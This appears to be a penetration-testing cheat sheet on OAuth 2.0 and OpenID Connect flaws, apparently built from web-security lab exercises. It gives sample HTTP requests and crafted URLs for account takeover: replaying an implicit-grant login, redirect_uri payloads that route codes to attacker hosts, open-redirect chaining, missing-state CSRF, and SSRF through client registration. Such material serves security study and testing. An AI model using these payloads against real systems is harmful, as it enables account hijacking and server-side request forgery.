OAuth 2.0
What is OAuth?
- OAuth is a commonly used authorization framework that enables web applications to request limited access to a user’s account on another application.
How does OAuth 2.0 work?
- Client application - The website that wants to access the user’s data.
- Resource owner - The user whose data the client application wants to access.
- OAuth service provider - The website or application that controls the user’s data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server.
Identifying OAuth authentication
- If you see an option to log in using your account from a different website, this is a strong indication that OAuth is being used.
- Regardless of which OAuth grant type is being used, the first request of the flow will always be a request to the
/authorization
endpoint containing a number of query parameters that are used specifically for OAuth. In particular, keep an eye out for theclient_id
,redirect_uri
, andresponse_type
parameters
Recon
If using an external OAuth service, identify the provider by the hostname in the authorization request. Public API documentation typically provides detailed information, including endpoint names and configuration options. Try sending a request to the following standard endpoints:
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
Vulnerabilities
Improper implementation of the implicit grant type
At the conclusion of the login process, the client application often sends the username and access token to the server via a POST
request. The server then issues a session cookie, effectively completing the login and establishing the user session
POST /authenticate HTTP/2
Host: 0a55005703e1680182bd7f6100b60068.web-security-academy.net
[..]
{"email":"lebron@cleveland.com","username":"lebron","token":"ckNqkfxB"}
HTTP/2 302 Found
Location: /
Set-Cookie: session=OixJC365d0v7yaU1l1xEnCCtfnRZDhZe; Secure; HttpOnly; SameSite=None
Exploitation: repeat this request with an arbitrary account (changing email and username) and leaving the access token
Account hijacking via redirect_uri
Replace redirect_uri
with a attacker controlled domain
https://oauth-x.oauth-server.net/auth?client_id=xyz&redirect_uri=https://attack.com/oauth-callback&response_type=code&scope=openid profile email
state
or nonce
protection does not necessarily prevent these attacks because an attacker can generate new values from their own browser.Flawed redirect_uri validation
https://default-host.com@foo.evil-user.net
https://oauth-xxx-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
https://localhost.evil-user.net
Chain vulns
If you are unable to successfully submit an external domain as the redirect_uri
you can chain vulnerabilities like open redirect, xss etc.
- Find open redirect
https://server.net/post/next?path=https://attacker.com
- Use this url as
redirect_uri
https://oauth-xxx-server.com/?client_id=123&redirect_uri=https://server.net/post/next?path=https://attacker.com[...]
/oauth/callback
, so you can use directory traversal tricks https://client-app.com/oauth/callback/../../example/path
Flawed CSRF protection
if you notice that the authorization request does not send a state
parameter, It potentially means that you can initiate an OAuth flow yourself before tricking a user’s browser into completing it, similar to a traditional CSRF attack.
OpenID Connect
Identifying OpenID Connect
Look for the mandatory openid
scope
Unprotected dynamic client registration
- Identify configuration file
/.well-known/openid-configuration
to get registration_endpoint - Register your own client app. In the logo_uri add a external url for SSRF
POST /reg HTTP/1.1
Host: oauth-YOUR-OAUTH-SERVER.oauth-server.net
Content-Type: application/json
{
"application_type": "web",
"client_name": "My Application",
"redirect_uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"
],
"logo_uri": "https://BURP-COLLABORATOR-SUBDOMAIN"
}
HTTP/2 201 Created
[...]
{[...]"client_id":"aqFGUZgiQmXrUphoMV7i6","client_name":"My Application",[...]}
- Make
GET /client/CLIENT-ID/logo
request and replace theclient_id